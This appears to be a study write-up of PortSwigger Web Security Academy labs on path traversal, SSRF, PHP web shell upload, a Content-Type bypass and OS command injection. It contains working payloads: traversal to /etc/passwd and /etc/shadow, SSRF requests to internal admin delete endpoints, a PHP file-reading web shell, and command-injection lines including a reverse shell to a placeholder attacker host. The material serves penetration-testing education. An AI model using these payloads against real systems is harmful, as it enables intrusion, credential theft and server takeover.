Skip to content

Server Side Vulnerabilities

Source: PortSwigger Web Security Academy Author: Johan Beysen


1. Path Traversal

What Is It?

A web application loads files via a URL parameter, e.g.: /loadImage?filename=218.png

The server just appends that filename to a base path: /var/www/images/218.png — without checking what comes in.

The Attack

The attacker uses ../ (directory traversal) to escape the intended directory:

/loadImage?filename=../../../etc/passwd

The server then effectively reads /etc/passwd — a system file with user data. Three ../ steps up from /var/www/images/ all the way to the filesystem root /.

/loadImage?filename=../../../etc/passwd
/loadImage?filename=../../../etc/shadow
/loadImage?filename=..\..\..\windows\win.ini
/loadImage?filename=../../../windows/win.ini

Pentesting

Look for parameters that contain filenames or paths: filename=, file=, path=, template=. Burp Suite detects this automatically in an active scan, but manual testing gives more insight into the exact filtering.


2. Basic SSRF Against the Local Server

Concept

The stock-check function sends an HTTP request to a URL that you, as the attacker, control via the stockApi parameter.

Approach

  1. /admin isn't directly accessible from the outside
  2. But the server itself is allowed there — localhost trusts itself
  3. Via Burp Repeater, change the stockApi value to http://localhost/admin
  4. The server fetches that page and returns the HTML — including the delete URL
  5. Same parameter, new value: http://localhost/admin/delete?username=carlos → user deleted

Core principle

The server makes the request on your behalf, from its own network. What's blocked externally is often simply reachable internally.


3. SSRF Against an Internal Back-End System

Task

Use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

Approach

  1. Intercept the stock-check request in Burp → send to Intruder
  2. Set the stockApi to http://192.168.0.§1§:8080/admin — the last octet becomes the payload
  3. Payload type: Numbers, range 1–255, step 1 → Intruder tries all 255 addresses
  4. Sort results by status code → find the single 200 response
  5. That IP has the admin interface → send to Repeater
  6. Add /admin/delete?username=carlos → done

Comparison with the Previous Lab

Previous lab This lab
Target known localhost 192.168.0.X (unknown)
Approach Execute directly First scan internally via Intruder

SSRF as a port scan

You can also use SSRF as a port/IP scan from the inside — the server scans its own network on your behalf, which is completely invisible from outside.

How Do You Determine the Port?

Port Typical use
80 Standard HTTP
443 Standard HTTPS
8080 Alternative HTTP / dev servers
8443 Alternative HTTPS
8888 Jupyter, admin panels
9200 Elasticsearch
6379 Redis
5432 PostgreSQL
3306 MySQL

3 ways to determine the port:

  1. Information from the application itself — error messages, JavaScript, HTML comments
  2. Educated guesses based on commonly used ports (see table)
  3. A port scan via SSRF itself — exactly like scanning IPs: http://192.168.0.34:§8080§/

4. Remote Code Execution via Web Shell Upload

Concept

The application lets you upload a profile picture but doesn't validate the file type. So you can upload a PHP file — and when the server later serves that file, it executes the PHP code.

Step by Step

Step 1 — Explore the upload function

  • Log in as wiener:peter, upload a real image as your avatar
  • Burp shows the image is fetched via GET /files/avatars/yourimage.png

Step 2 — Create your web shell

<?php echo file_get_contents('/home/carlos/secret'); ?>

Step 3 — Upload the PHP as an "avatar"

  • No validation → the server just accepts the file
  • It's now on the server as /files/avatars/exploit.php

Step 4 — Execute the code via Burp Repeater

GET /files/avatars/exploit.php HTTP/1.1

The server executes the PHP and returns the secret file's contents in the response.

Why Does This Work?

What's missing Consequence
No MIME-type check PHP accepted as an upload
No extension whitelist .php is allowed
Upload directory is executable The server executes scripts

Critical finding

Arbitrary file upload + execution = complete server takeover.

To Test on Every Upload Function

  • Can you upload a .php / .php5 / .phtml?
  • Is the upload directory under a webroot that executes scripts?
  • What does the server return if you request the file directly?

5. Web Shell Upload via Content-Type Bypass

Difference from the Previous Lab

The previous lab had no validation at all. This lab does validate — but only the Content-Type header, not the actual file type.

The Bypass

The server checks whether the upload is image/jpeg or image/png — but blindly trusts what the client reports.

What the server did What the server should have done
Check the Content-Type header Check the actual file contents (magic bytes)
Trust the client Never trust the client

Attack Flow

Create exploit.php
     ↓
Upload → blocked
     ↓
Same request in Repeater
Content-Type: image/jpeg  ← the only change
     ↓
The server accepts it
     ↓
GET /files/avatars/exploit.php
     ↓
The server executes the PHP → secret returned

Core lesson

Never trust client-side data. An attacker controls every header the browser sends. Real validation looks at the file contents themselves (magic bytes like FFD8FF for JPEG), not at what the client claims.


6. OS Command Injection

How It Works

The application checks stock by running a shell command:

/usr/bin/stockcheck productID=1 storeID=1

The server takes your input, pastes it into a command string, and runs it — without any validation.

The Pipe Character |

# What the server thinks it's executing:
stockcheck storeID=1

# What actually gets executed after your modification:
stockcheck storeID=1 | whoami

Injection Characters

Character Behavior
\| Pipe: runs a second command
&& AND: runs the second if the first succeeds
\|\| OR: runs the second if the first fails
; Sequential: runs both commands
` Backtick: runs a command inline
$() Subshell: same as a backtick

What Can an Attacker Do?

# System info
1|uname -a

# Network configuration
1|ifconfig

# Reading files
1|cat /etc/passwd

# Checking which users exist
1|ls /home

# Searching for sensitive files
1|find / -name "*.config" 2>/dev/null

# Setting up a reverse shell (complete server takeover)
1|bash -i >& /dev/tcp/attacker-ip/4444 0>&1

Why Is This So Critical?

SQL injection    → database compromised
Command injection → entire server compromised

The most severe finding

Command injection is usually the most severe finding in a pentest — it gives direct access to the underlying operating system, not just the application layer.

Relevance for Pentests

Always look for parameters that look operational:

  • storeId, productId, host, ip, filename, cmd
  • Forms that ping, traceroute, do DNS lookups
  • Any place where the app "does something" with your input at the system level

Test first with |whoami or ; whoami — if the username shows up in the response, you've hit it.